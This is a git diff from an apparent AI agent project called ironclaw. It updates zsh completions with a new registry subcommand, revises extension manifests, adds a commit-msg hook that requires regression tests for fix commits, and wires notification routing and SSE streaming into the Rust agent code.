'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
|
||||
'-f[Force overwrite if already installed]' \
|
||||
'--force[Force overwrite if already installed]' \
|
||||
'--build[Build from source instead of downloading pre-built artifact]' \
|
||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
||||
'--no-db[Skip database connection (for testing)]' \
|
||||
'--no-onboard[Skip first-run onboarding check]' \
|
||||
'-h[Print help]' \
|
||||
'--help[Print help]' \
|
||||
&& ret=0
|
||||
;;
|
||||
(help)
|
||||
_arguments "${_arguments_options[@]}" : \
|
||||
":: :_ironclaw__registry__help_commands" \
|
||||
"*::: :->help" \
|
||||
&& ret=0
|
||||
|
||||
case $state in
|
||||
(help)
|
||||
words=($line[1] "${words[@]}")
|
||||
(( CURRENT += 1 ))
|
||||
curcontext="${curcontext%:*:*}:ironclaw-registry-help-command-$line[1]:"
|
||||
case $line[1] in
|
||||
(list)
|
||||
_arguments "${_arguments_options[@]}" : \
|
||||
&& ret=0
|
||||
;;
|
||||
(info)
|
||||
_arguments "${_arguments_options[@]}" : \
|
||||
&& ret=0
|
||||
;;
|
||||
(install)
|
||||
_arguments "${_arguments_options[@]}" : \
|
||||
&& ret=0
|
||||
;;
|
||||
(install-defaults)
|
||||
_arguments "${_arguments_options[@]}" : \
|
||||
&& ret=0
|
||||
;;
|
||||
(help)
|
||||
_arguments "${_arguments_options[@]}" : \
|
||||
&& ret=0
|
||||
;;
|
||||
esac
|
||||
;;
|
||||
esac
|
||||
;;
|
||||
esac
|
||||
;;
|
||||
esac
|
||||
;;
|
||||
(mcp)
|
||||
_arguments "${_arguments_options[@]}" : \
|
||||
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
|
||||
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
|
||||
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
|
||||
'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
|
||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
||||
'--no-db[Skip database connection (for testing)]' \
|
||||
'--no-onboard[Skip first-run onboarding check]' \
|
||||
'-h[Print help (see more with '\''--help'\'')]' \
|
||||
'--help[Print help (see more with '\''--help'\'')]' \
|
||||
":: :_ironclaw__mcp_commands" \
|
||||
"*::: :->mcp" \
|
||||
&& ret=0
|
||||
@@ -549,8 +676,8 @@ _arguments "${_arguments_options[@]}" : \
|
||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
||||
'--no-db[Skip database connection (for testing)]' \
|
||||
'--no-onboard[Skip first-run onboarding check]' \
|
||||
'-h[Print help]' \
|
||||
'--help[Print help]' \
|
||||
'-h[Print help (see more with '\''--help'\'')]' \
|
||||
'--help[Print help (see more with '\''--help'\'')]' \
|
||||
":: :_ironclaw__memory_commands" \
|
||||
"*::: :->memory" \
|
||||
&& ret=0
|
||||
@@ -690,8 +817,8 @@ _arguments "${_arguments_options[@]}" : \
|
||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
||||
'--no-db[Skip database connection (for testing)]' \
|
||||
'--no-onboard[Skip first-run onboarding check]' \
|
||||
'-h[Print help]' \
|
||||
'--help[Print help]' \
|
||||
'-h[Print help (see more with '\''--help'\'')]' \
|
||||
'--help[Print help (see more with '\''--help'\'')]' \
|
||||
":: :_ironclaw__pairing_commands" \
|
||||
"*::: :->pairing" \
|
||||
&& ret=0
|
||||
@@ -773,8 +900,8 @@ _arguments "${_arguments_options[@]}" : \
|
||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
||||
'--no-db[Skip database connection (for testing)]' \
|
||||
'--no-onboard[Skip first-run onboarding check]' \
|
||||
'-h[Print help]' \
|
||||
'--help[Print help]' \
|
||||
'-h[Print help (see more with '\''--help'\'')]' \
|
||||
'--help[Print help (see more with '\''--help'\'')]' \
|
||||
":: :_ironclaw__service_commands" \
|
||||
"*::: :->service" \
|
||||
&& ret=0
|
||||
@@ -903,8 +1030,8 @@ _arguments "${_arguments_options[@]}" : \
|
||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
||||
'--no-db[Skip database connection (for testing)]' \
|
||||
'--no-onboard[Skip first-run onboarding check]' \
|
||||
'-h[Print help]' \
|
||||
'--help[Print help]' \
|
||||
'-h[Print help (see more with '\''--help'\'')]' \
|
||||
'--help[Print help (see more with '\''--help'\'')]' \
|
||||
&& ret=0
|
||||
;;
|
||||
(status)
|
||||
@@ -916,13 +1043,13 @@ _arguments "${_arguments_options[@]}" : \
|
||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
||||
'--no-db[Skip database connection (for testing)]' \
|
||||
'--no-onboard[Skip first-run onboarding check]' \
|
||||
'-h[Print help]' \
|
||||
'--help[Print help]' \
|
||||
'-h[Print help (see more with '\''--help'\'')]' \
|
||||
'--help[Print help (see more with '\''--help'\'')]' \
|
||||
&& ret=0
|
||||
;;
|
||||
(completion)
|
||||
_arguments "${_arguments_options[@]}" : \
|
||||
'--shell=[The shell to generate completions for]:SHELL:(bash zsh fish powershell elvish)' \
|
||||
'--shell=[The shell to generate completions for]:SHELL:(bash elvish fish powershell zsh)' \
|
||||
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
|
||||
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
|
||||
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
|
||||
@@ -930,8 +1057,8 @@ _arguments "${_arguments_options[@]}" : \
|
||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
||||
'--no-db[Skip database connection (for testing)]' \
|
||||
'--no-onboard[Skip first-run onboarding check]' \
|
||||
'-h[Print help]' \
|
||||
'--help[Print help]' \
|
||||
'-h[Print help (see more with '\''--help'\'')]' \
|
||||
'--help[Print help (see more with '\''--help'\'')]' \
|
||||
&& ret=0
|
||||
;;
|
||||
(worker)
|
||||
@@ -1063,6 +1190,38 @@ _arguments "${_arguments_options[@]}" : \
|
||||
;;
|
||||
esac
|
||||
;;
|
||||
(registry)
|
||||
_arguments "${_arguments_options[@]}" : \
|
||||
":: :_ironclaw__help__registry_commands" \
|
||||
"*::: :->registry" \
|
||||
&& ret=0
|
||||
|
||||
case $state in
|
||||
(registry)
|
||||
words=($line[1] "${words[@]}")
|
||||
(( CURRENT += 1 ))
|
||||
curcontext="${curcontext%:*:*}:ironclaw-help-registry-command-$line[1]:"
|
||||
case $line[1] in
|
||||
(list)
|
||||
_arguments "${_arguments_options[@]}" : \
|
||||
&& ret=0
|
||||
;;
|
||||
(info)
|
||||
_arguments "${_arguments_options[@]}" : \
|
||||
&& ret=0
|
||||
;;
|
||||
(install)
|
||||
_arguments "${_arguments_options[@]}" : \
|
||||
&& ret=0
|
||||
;;
|
||||
(install-defaults)
|
||||
_arguments "${_arguments_options[@]}" : \
|
||||
&& ret=0
|
||||
;;
|
||||
esac
|
||||
;;
|
||||
esac
|
||||
;;
|
||||
(mcp)
|
||||
_arguments "${_arguments_options[@]}" : \
|
||||
":: :_ironclaw__help__mcp_commands" \
|
||||
@@ -1235,17 +1394,18 @@ esac
|
||||
(( $+functions[_ironclaw_commands] )) ||
|
||||
_ironclaw_commands() {
|
||||
local commands; commands=(
|
||||
'run:Run the agent (default if no subcommand given)' \
|
||||
'onboard:Interactive onboarding wizard' \
|
||||
'config:Manage configuration settings' \
|
||||
'run:Run the AI agent' \
|
||||
'onboard:Run interactive setup wizard' \
|
||||
'config:Manage app configs' \
|
||||
'tool:Manage WASM tools' \
|
||||
'mcp:Manage MCP servers (hosted tool providers)' \
|
||||
'memory:Query and manage workspace memory' \
|
||||
'pairing:DM pairing (approve inbound requests from unknown senders)' \
|
||||
'service:Manage OS service (launchd / systemd)' \
|
||||
'doctor:Probe external dependencies and validate configuration' \
|
||||
'status:Show system health and diagnostics' \
|
||||
'completion:Generate shell completion scripts' \
|
||||
'registry:Browse/install extensions' \
|
||||
'mcp:Manage MCP servers' \
|
||||
'memory:Manage workspace memory' \
|
||||
'pairing:Manage DM pairing' \
|
||||
'service:Manage OS service' \
|
||||
'doctor:Run diagnostics' \
|
||||
'status:Show system status' \
|
||||
'completion:Generate completions' \
|
||||
'worker:Run as a sandboxed worker inside a Docker container (internal use). This is invoked automatically by the orchestrator, not by users directly' \
|
||||
'claude-bridge:Run as a Claude Code bridge inside a Docker container (internal use). Spawns the \`claude\` CLI and streams output back to the orchestrator' \
|
||||
'help:Print this message or the help of the given subcommand(s)' \
|
||||
@@ -1361,17 +1521,18 @@ _ironclaw__doctor_commands() {
|
||||
(( $+functions[_ironclaw__help_commands] )) ||
|
||||
_ironclaw__help_commands() {
|
||||
local commands; commands=(
|
||||
'run:Run the agent (default if no subcommand given)' \
|
||||
'onboard:Interactive onboarding wizard' \
|
||||
'config:Manage configuration settings' \
|
||||
'run:Run the AI agent' \
|
||||
'onboard:Run interactive setup wizard' \
|
||||
'config:Manage app configs' \
|
||||
'tool:Manage WASM tools' \
|
||||
'mcp:Manage MCP servers (hosted tool providers)' \
|
||||
'memory:Query and manage workspace memory' \
|
||||
'pairing:DM pairing (approve inbound requests from unknown senders)' \
|
||||
'service:Manage OS service (launchd / systemd)' \
|
||||
'doctor:Probe external dependencies and validate configuration' \
|
||||
'status:Show system health and diagnostics' \
|
||||
'completion:Generate shell completion scripts' \
|
||||
'registry:Browse/install extensions' \
|
||||
'mcp:Manage MCP servers' \
|
||||
'memory:Manage workspace memory' \
|
||||
'pairing:Manage DM pairing' \
|
||||
'service:Manage OS service' \
|
||||
'doctor:Run diagnostics' \
|
||||
'status:Show system status' \
|
||||
'completion:Generate completions' \
|
||||
'worker:Run as a sandboxed worker inside a Docker container (internal use). This is invoked automatically by the orchestrator, not by users directly' \
|
||||
'claude-bridge:Run as a Claude Code bridge inside a Docker container (internal use). Spawns the \`claude\` CLI and streams output back to the orchestrator' \
|
||||
'help:Print this message or the help of the given subcommand(s)' \
|
||||
@@ -1541,6 +1702,36 @@ _ironclaw__help__pairing__list_commands() {
|
||||
local commands; commands=()
|
||||
_describe -t commands 'ironclaw help pairing list commands' commands "$@"
|
||||
}
|
||||
(( $+functions[_ironclaw__help__registry_commands] )) ||
|
||||
_ironclaw__help__registry_commands() {
|
||||
local commands; commands=(
|
||||
'list:List available extensions in the registry' \
|
||||
'info:Show detailed information about an extension or bundle' \
|
||||
'install:Install an extension or bundle from the registry' \
|
||||
'install-defaults:Install the default bundle of recommended extensions' \
|
||||
)
|
||||
_describe -t commands 'ironclaw help registry commands' commands "$@"
|
||||
}
|
||||
(( $+functions[_ironclaw__help__registry__info_commands] )) ||
|
||||
_ironclaw__help__registry__info_commands() {
|
||||
local commands; commands=()
|
||||
_describe -t commands 'ironclaw help registry info commands' commands "$@"
|
||||
}
|
||||
(( $+functions[_ironclaw__help__registry__install_commands] )) ||
|
||||
_ironclaw__help__registry__install_commands() {
|
||||
local commands; commands=()
|
||||
_describe -t commands 'ironclaw help registry install commands' commands "$@"
|
||||
}
|
||||
(( $+functions[_ironclaw__help__registry__install-defaults_commands] )) ||
|
||||
_ironclaw__help__registry__install-defaults_commands() {
|
||||
local commands; commands=()
|
||||
_describe -t commands 'ironclaw help registry install-defaults commands' commands "$@"
|
||||
}
|
||||
(( $+functions[_ironclaw__help__registry__list_commands] )) ||
|
||||
_ironclaw__help__registry__list_commands() {
|
||||
local commands; commands=()
|
||||
_describe -t commands 'ironclaw help registry list commands' commands "$@"
|
||||
}
|
||||
(( $+functions[_ironclaw__help__run_commands] )) ||
|
||||
_ironclaw__help__run_commands() {
|
||||
local commands; commands=()
|
||||
@@ -1846,6 +2037,73 @@ _ironclaw__pairing__list_commands() {
|
||||
local commands; commands=()
|
||||
_describe -t commands 'ironclaw pairing list commands' commands "$@"
|
||||
}
|
||||
(( $+functions[_ironclaw__registry_commands] )) ||
|
||||
_ironclaw__registry_commands() {
|
||||
local commands; commands=(
|
||||
'list:List available extensions in the registry' \
|
||||
'info:Show detailed information about an extension or bundle' \
|
||||
'install:Install an extension or bundle from the registry' \
|
||||
'install-defaults:Install the default bundle of recommended extensions' \
|
||||
'help:Print this message or the help of the given subcommand(s)' \
|
||||
)
|
||||
_describe -t commands 'ironclaw registry commands' commands "$@"
|
||||
}
|
||||
(( $+functions[_ironclaw__registry__help_commands] )) ||
|
||||
_ironclaw__registry__help_commands() {
|
||||
local commands; commands=(
|
||||
'list:List available extensions in the registry' \
|
||||
'info:Show detailed information about an extension or bundle' \
|
||||
'install:Install an extension or bundle from the registry' \
|
||||
'install-defaults:Install the default bundle of recommended extensions' \
|
||||
'help:Print this message or the help of the given subcommand(s)' \
|
||||
)
|
||||
_describe -t commands 'ironclaw registry help commands' commands "$@"
|
||||
}
|
||||
(( $+functions[_ironclaw__registry__help__help_commands] )) ||
|
||||
_ironclaw__registry__help__help_commands() {
|
||||
local commands; commands=()
|
||||
_describe -t commands 'ironclaw registry help help commands' commands "$@"
|
||||
}
|
||||
(( $+functions[_ironclaw__registry__help__info_commands] )) ||
|
||||
_ironclaw__registry__help__info_commands() {
|
||||
local commands; commands=()
|
||||
_describe -t commands 'ironclaw registry help info commands' commands "$@"
|
||||
}
|
||||
(( $+functions[_ironclaw__registry__help__install_commands] )) ||
|
||||
_ironclaw__registry__help__install_commands() {
|
||||
local commands; commands=()
|
||||
_describe -t commands 'ironclaw registry help install commands' commands "$@"
|
||||
}
|
||||
(( $+functions[_ironclaw__registry__help__install-defaults_commands] )) ||
|
||||
_ironclaw__registry__help__install-defaults_commands() {
|
||||
local commands; commands=()
|
||||
_describe -t commands 'ironclaw registry help install-defaults commands' commands "$@"
|
||||
}
|
||||
(( $+functions[_ironclaw__registry__help__list_commands] )) ||
|
||||
_ironclaw__registry__help__list_commands() {
|
||||
local commands; commands=()
|
||||
_describe -t commands 'ironclaw registry help list commands' commands "$@"
|
||||
}
|
||||
(( $+functions[_ironclaw__registry__info_commands] )) ||
|
||||
_ironclaw__registry__info_commands() {
|
||||
local commands; commands=()
|
||||
_describe -t commands 'ironclaw registry info commands' commands "$@"
|
||||
}
|
||||
(( $+functions[_ironclaw__registry__install_commands] )) ||
|
||||
_ironclaw__registry__install_commands() {
|
||||
local commands; commands=()
|
||||
_describe -t commands 'ironclaw registry install commands' commands "$@"
|
||||
}
|
||||
(( $+functions[_ironclaw__registry__install-defaults_commands] )) ||
|
||||
_ironclaw__registry__install-defaults_commands() {
|
||||
local commands; commands=()
|
||||
_describe -t commands 'ironclaw registry install-defaults commands' commands "$@"
|
||||
}
|
||||
(( $+functions[_ironclaw__registry__list_commands] )) ||
|
||||
_ironclaw__registry__list_commands() {
|
||||
local commands; commands=()
|
||||
_describe -t commands 'ironclaw registry list commands' commands "$@"
|
||||
}
|
||||
(( $+functions[_ironclaw__run_commands] )) ||
|
||||
_ironclaw__run_commands() {
|
||||
local commands; commands=()
|
||||
@@ -2023,5 +2281,5 @@ _ironclaw__worker_commands() {
|
||||
if [ "$funcstack[1]" = "_ironclaw" ]; then
|
||||
_ironclaw "$@"
|
||||
else
|
||||
compdef _ironclaw ironclaw
|
||||
(( $+functions[compdef] )) && compdef _ironclaw ironclaw
|
||||
fi
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
{
|
||||
"name": "discord",
|
||||
"display_name": "Discord",
|
||||
"display_name": "Discord Channel",
|
||||
"kind": "channel",
|
||||
"version": "0.1.0",
|
||||
"description": "Discord Gateway/Webhook channel for slash commands, buttons, and messages",
|
||||
"description": "Talk to your agent in Discord",
|
||||
"keywords": ["messaging", "chat", "discord", "bot"],
|
||||
|
||||
"source": {
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
{
|
||||
"name": "slack",
|
||||
"display_name": "Slack",
|
||||
"display_name": "Slack Channel",
|
||||
"kind": "channel",
|
||||
"version": "0.1.0",
|
||||
"description": "Slack Events API channel for receiving and responding to Slack messages",
|
||||
"description": "Talk to your agent in Slack",
|
||||
"keywords": ["messaging", "chat", "workspace", "slack"],
|
||||
|
||||
"source": {
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
{
|
||||
"name": "telegram",
|
||||
"display_name": "Telegram",
|
||||
"display_name": "Telegram Channel",
|
||||
"kind": "channel",
|
||||
"version": "0.1.0",
|
||||
"description": "Telegram Bot API channel for receiving and responding to messages",
|
||||
"description": "Talk to your agent through a Telegram bot",
|
||||
"keywords": ["messaging", "bot", "chat", "telegram"],
|
||||
|
||||
"source": {
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
{
|
||||
"name": "whatsapp",
|
||||
"display_name": "WhatsApp",
|
||||
"display_name": "WhatsApp Channel",
|
||||
"kind": "channel",
|
||||
"version": "0.1.0",
|
||||
"description": "WhatsApp Cloud API channel for receiving and responding to messages",
|
||||
"description": "Talk to your agent through WhatsApp",
|
||||
"keywords": ["messaging", "chat", "whatsapp", "meta"],
|
||||
|
||||
"source": {
|
||||
|
||||
@@ -1,31 +0,0 @@
|
||||
{
|
||||
"name": "okta",
|
||||
"display_name": "Okta",
|
||||
"kind": "tool",
|
||||
"version": "0.1.0",
|
||||
"description": "Okta SSO for user profile, app catalog, and SSO launch links",
|
||||
"keywords": ["sso", "identity", "authentication", "okta"],
|
||||
|
||||
"source": {
|
||||
"dir": "tools-src/okta",
|
||||
"capabilities": "okta-tool.capabilities.json",
|
||||
"crate_name": "okta-tool"
|
||||
},
|
||||
|
||||
"artifacts": {
|
||||
"wasm32-wasip2": {
|
||||
"url": "https://github.com/nearai/ironclaw/releases/latest/download/okta-wasm32-wasip2.tar.gz",
|
||||
"sha256": null
|
||||
}
|
||||
},
|
||||
|
||||
"auth_summary": {
|
||||
"method": "oauth",
|
||||
"provider": "Okta",
|
||||
"secrets": ["okta_oauth_token"],
|
||||
"shared_auth": null,
|
||||
"setup_url": "https://developer.okta.com/docs/guides/implement-oauth-for-okta/main/"
|
||||
},
|
||||
|
||||
"tags": ["identity"]
|
||||
}
|
||||
@@ -1,9 +1,9 @@
|
||||
{
|
||||
"name": "slack-tool",
|
||||
"display_name": "Slack",
|
||||
"display_name": "Slack Tool",
|
||||
"kind": "tool",
|
||||
"version": "0.1.0",
|
||||
"description": "Post messages, read channels, and manage conversations via Slack API",
|
||||
"description": "Your agent uses Slack to post and read messages in your workspace",
|
||||
"keywords": ["messaging", "chat", "workspace"],
|
||||
|
||||
"source": {
|
||||
@@ -14,7 +14,7 @@
|
||||
|
||||
"artifacts": {
|
||||
"wasm32-wasip2": {
|
||||
"url": "https://github.com/nearai/ironclaw/releases/latest/download/slack-wasm32-wasip2.tar.gz",
|
||||
"url": "https://github.com/nearai/ironclaw/releases/latest/download/slack-tool-wasm32-wasip2.tar.gz",
|
||||
"sha256": null
|
||||
}
|
||||
},
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
{
|
||||
"name": "telegram-mtproto",
|
||||
"display_name": "Telegram",
|
||||
"display_name": "Telegram Tool",
|
||||
"kind": "tool",
|
||||
"version": "0.1.0",
|
||||
"description": "Telegram user-mode integration via MTProto for messages and contacts",
|
||||
"description": "Your agent uses your Telegram account to read and send messages",
|
||||
"keywords": ["messaging", "chat", "telegram", "mtproto"],
|
||||
|
||||
"source": {
|
||||
@@ -14,7 +14,7 @@
|
||||
|
||||
"artifacts": {
|
||||
"wasm32-wasip2": {
|
||||
"url": "https://github.com/nearai/ironclaw/releases/latest/download/telegram-wasm32-wasip2.tar.gz",
|
||||
"url": "https://github.com/nearai/ironclaw/releases/latest/download/telegram-mtproto-wasm32-wasip2.tar.gz",
|
||||
"sha256": null
|
||||
}
|
||||
},
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
{
|
||||
"name": "web-search",
|
||||
"display_name": "Web Search",
|
||||
"kind": "tool",
|
||||
"version": "0.1.0",
|
||||
"description": "Search the web using Brave Search API",
|
||||
"keywords": ["search", "web", "brave", "internet"],
|
||||
|
||||
"source": {
|
||||
"dir": "tools-src/web-search",
|
||||
"capabilities": "web-search-tool.capabilities.json",
|
||||
"crate_name": "web-search-tool"
|
||||
},
|
||||
|
||||
"artifacts": {
|
||||
"wasm32-wasip2": {
|
||||
"url": "https://github.com/nearai/ironclaw/releases/latest/download/web-search-wasm32-wasip2.tar.gz",
|
||||
"sha256": null
|
||||
}
|
||||
},
|
||||
|
||||
"auth_summary": {
|
||||
"method": "manual",
|
||||
"provider": "Brave",
|
||||
"secrets": ["brave_api_key"],
|
||||
"shared_auth": null,
|
||||
"setup_url": "https://brave.com/search/api/"
|
||||
},
|
||||
|
||||
"tags": ["default", "search"]
|
||||
}
|
||||
Executable
+81
@@ -0,0 +1,81 @@
|
||||
#!/usr/bin/env bash
|
||||
# commit-msg hook: require regression tests for fix commits.
|
||||
#
|
||||
# Installed by scripts/dev-setup.sh as .git/hooks/commit-msg.
|
||||
# Bypass with [skip-regression-check] in the commit message.
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
MSG_FILE="$1"
|
||||
FIRST_LINE=$(head -1 "$MSG_FILE")
|
||||
|
||||
# --- 1. Is this a fix commit? ---
|
||||
if ! grep -qiE '^(fix(\(.*\))?|hotfix|bugfix):' <<< "$FIRST_LINE"; then
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# --- 2. Skip marker ---
|
||||
if grep -qF '[skip-regression-check]' "$MSG_FILE"; then
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# --- 3. Exempt static-only / docs-only changes ---
|
||||
# Get staged files (commit-msg runs after staging is finalized).
|
||||
STAGED_FILES=$(git diff --cached --name-only --diff-filter=ACMR)
|
||||
|
||||
if [ -z "$STAGED_FILES" ]; then
|
||||
exit 0
|
||||
fi
|
||||
|
||||
ALL_EXEMPT=true
|
||||
while IFS= read -r file; do
|
||||
case "$file" in
|
||||
src/channels/web/static/*) ;;
|
||||
*.md) ;;
|
||||
*) ALL_EXEMPT=false; break ;;
|
||||
esac
|
||||
done <<< "$STAGED_FILES"
|
||||
|
||||
if [ "$ALL_EXEMPT" = true ]; then
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# --- 4. Look for test changes in staged .rs files ---
|
||||
|
||||
# Fast path: new test attributes or test modules in added lines.
|
||||
if git diff --cached -U0 -- '*.rs' | grep -qE '^\+.*(#\[test\]|#\[tokio::test\]|#\[cfg\(test\)\]|mod tests)'; then
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Whole-function context: detect edits inside existing test functions.
|
||||
# -W shows the full enclosing function, so #[test] appears in context
|
||||
# lines when changes are inside a test function.
|
||||
if git diff --cached -W -- '*.rs' | awk '
|
||||
/^@@/ { if (has_test && has_add) { found=1; exit } has_test=0; has_add=0 }
|
||||
/^ .*#\[test\]/ || /^ .*#\[tokio::test\]/ || /^ .*#\[cfg\(test\)\]/ || /^ .*mod tests/ { has_test=1 }
|
||||
/^\+.*#\[test\]/ || /^\+.*#\[tokio::test\]/ || /^\+.*#\[cfg\(test\)\]/ || /^\+.*mod tests/ { has_test=1 }
|
||||
/^\+[^+]/ { has_add=1 }
|
||||
END { if (has_test && has_add) found=1; exit !found }
|
||||
'; then
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Also check for new/modified files under tests/
|
||||
if grep -qE '^tests/' <<< "$STAGED_FILES"; then
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# --- 5. No test found — block the commit ---
|
||||
echo ""
|
||||
echo "╔══════════════════════════════════════════════════════════════╗"
|
||||
echo "║ REGRESSION TEST REQUIRED ║"
|
||||
echo "║ ║"
|
||||
echo "║ This commit looks like a bug fix but has no test changes. ║"
|
||||
echo "║ Every fix should include a test that reproduces the bug. ║"
|
||||
echo "║ ║"
|
||||
echo "║ Options: ║"
|
||||
echo "║ • Add a #[test] or #[tokio::test] that catches the bug ║"
|
||||
echo "║ • Add [skip-regression-check] to your commit message ║"
|
||||
echo "╚══════════════════════════════════════════════════════════════╝"
|
||||
echo ""
|
||||
exit 1
|
||||
+17
-5
@@ -24,14 +24,14 @@ if ! command -v rustup &>/dev/null; then
|
||||
echo "ERROR: rustup not found. Install from https://rustup.rs"
|
||||
exit 1
|
||||
fi
|
||||
echo "[1/5] rustup found: $(rustup --version 2>/dev/null | head -1)"
|
||||
echo "[1/6] rustup found: $(rustup --version 2>/dev/null | head -1)"
|
||||
|
||||
# 2. Add WASM target (required by build.rs for channel compilation)
|
||||
echo "[2/5] Adding wasm32-wasip2 target..."
|
||||
echo "[2/6] Adding wasm32-wasip2 target..."
|
||||
rustup target add wasm32-wasip2
|
||||
|
||||
# 3. Install wasm-tools (required by build.rs for WASM component model)
|
||||
echo "[3/5] Installing wasm-tools..."
|
||||
echo "[3/6] Installing wasm-tools..."
|
||||
if command -v wasm-tools &>/dev/null; then
|
||||
echo " wasm-tools already installed: $(wasm-tools --version)"
|
||||
else
|
||||
@@ -39,13 +39,25 @@ else
|
||||
fi
|
||||
|
||||
# 4. Verify the project compiles
|
||||
echo "[4/5] Running cargo check..."
|
||||
echo "[4/6] Running cargo check..."
|
||||
cargo check
|
||||
|
||||
# 5. Run tests using libsql temp DB (no Docker/external DB needed)
|
||||
echo "[5/5] Running tests (no external DB required)..."
|
||||
echo "[5/6] Running tests (no external DB required)..."
|
||||
cargo test
|
||||
|
||||
# 6. Install git hooks
|
||||
echo "[6/6] Installing git hooks..."
|
||||
HOOKS_DIR=$(git rev-parse --git-path hooks 2>/dev/null) || true
|
||||
if [ -n "$HOOKS_DIR" ]; then
|
||||
mkdir -p "$HOOKS_DIR"
|
||||
SCRIPT_ABS="$(cd "$(dirname "$0")" && pwd)/commit-msg-regression.sh"
|
||||
ln -sf "$SCRIPT_ABS" "$HOOKS_DIR/commit-msg"
|
||||
echo " commit-msg hook installed (regression test enforcement)"
|
||||
else
|
||||
echo " Skipped: not a git repository"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo "=== Setup complete ==="
|
||||
echo ""
|
||||
|
||||
+61
-11
@@ -73,6 +73,8 @@ pub struct AgentDeps {
|
||||
pub hooks: Arc<HookRegistry>,
|
||||
/// Cost enforcement guardrails (daily budget, hourly rate limits).
|
||||
pub cost_guard: Arc<crate::agent::cost_guard::CostGuard>,
|
||||
/// SSE broadcast sender for live job event streaming to the web gateway.
|
||||
pub sse_tx: Option<tokio::sync::broadcast::Sender<crate::channels::web::types::SseEvent>>,
|
||||
}
|
||||
|
||||
/// The main agent that coordinates all components.
|
||||
@@ -111,7 +113,7 @@ impl Agent {
|
||||
|
||||
let session_manager = session_manager.unwrap_or_else(|| Arc::new(SessionManager::new()));
|
||||
|
||||
let scheduler = Arc::new(Scheduler::new(
|
||||
let mut scheduler = Scheduler::new(
|
||||
config.clone(),
|
||||
context_manager.clone(),
|
||||
deps.llm.clone(),
|
||||
@@ -119,7 +121,11 @@ impl Agent {
|
||||
deps.tools.clone(),
|
||||
deps.store.clone(),
|
||||
deps.hooks.clone(),
|
||||
));
|
||||
);
|
||||
if let Some(ref tx) = deps.sse_tx {
|
||||
scheduler.set_sse_sender(tx.clone());
|
||||
}
|
||||
let scheduler = Arc::new(scheduler);
|
||||
|
||||
Self {
|
||||
config,
|
||||
@@ -138,6 +144,11 @@ impl Agent {
|
||||
|
||||
// Convenience accessors
|
||||
|
||||
/// Get the scheduler (for external wiring, e.g. CreateJobTool).
|
||||
pub fn scheduler(&self) -> Arc<Scheduler> {
|
||||
Arc::clone(&self.scheduler)
|
||||
}
|
||||
|
||||
pub(super) fn store(&self) -> Option<&Arc<dyn Database>> {
|
||||
self.deps.store.as_ref()
|
||||
}
|
||||
@@ -413,7 +424,7 @@ impl Agent {
|
||||
// Load initial event cache
|
||||
engine.refresh_event_cache().await;
|
||||
|
||||
// Spawn notification forwarder
|
||||
// Spawn notification forwarder (mirrors heartbeat pattern)
|
||||
let channels = self.channels.clone();
|
||||
tokio::spawn(async move {
|
||||
while let Some(response) = notify_rx.recv().await {
|
||||
@@ -423,14 +434,33 @@ impl Agent {
|
||||
.and_then(|v| v.as_str())
|
||||
.unwrap_or("default")
|
||||
.to_string();
|
||||
let results = channels.broadcast_all(&user, response).await;
|
||||
for (ch, result) in results {
|
||||
if let Err(e) = result {
|
||||
tracing::warn!(
|
||||
"Failed to broadcast routine notification to {}: {}",
|
||||
ch,
|
||||
e
|
||||
);
|
||||
let notify_channel = response
|
||||
.metadata
|
||||
.get("notify_channel")
|
||||
.and_then(|v| v.as_str())
|
||||
.map(|s| s.to_string());
|
||||
|
||||
// Try the configured channel first, fall back to
|
||||
// broadcasting on all channels.
|
||||
let targeted_ok = if let Some(ref channel) = notify_channel {
|
||||
channels
|
||||
.broadcast(channel, &user, response.clone())
|
||||
.await
|
||||
.is_ok()
|
||||
} else {
|
||||
false
|
||||
};
|
||||
|
||||
if !targeted_ok {
|
||||
let results = channels.broadcast_all(&user, response).await;
|
||||
for (ch, result) in results {
|
||||
if let Err(e) = result {
|
||||
tracing::warn!(
|
||||
"Failed to broadcast routine notification to {}: {}",
|
||||
ch,
|
||||
e
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -588,6 +618,19 @@ impl Agent {
|
||||
}
|
||||
|
||||
async fn handle_message(&self, message: &IncomingMessage) -> Result<Option<String>, Error> {
|
||||
// Set message tool context for this turn (current channel and target)
|
||||
// For Signal, use signal_target from metadata (group:ID or phone number),
|
||||
// otherwise fall back to user_id
|
||||
let target = message
|
||||
.metadata
|
||||
.get("signal_target")
|
||||
.and_then(|v| v.as_str())
|
||||
.map(|s| s.to_string())
|
||||
.unwrap_or_else(|| message.user_id.clone());
|
||||
self.tools()
|
||||
.set_message_tool_context(Some(message.channel.clone()), Some(target))
|
||||
.await;
|
||||
|
||||
// Parse submission type first
|
||||
let mut submission = SubmissionParser::parse(&message.content);
|
||||
|
||||
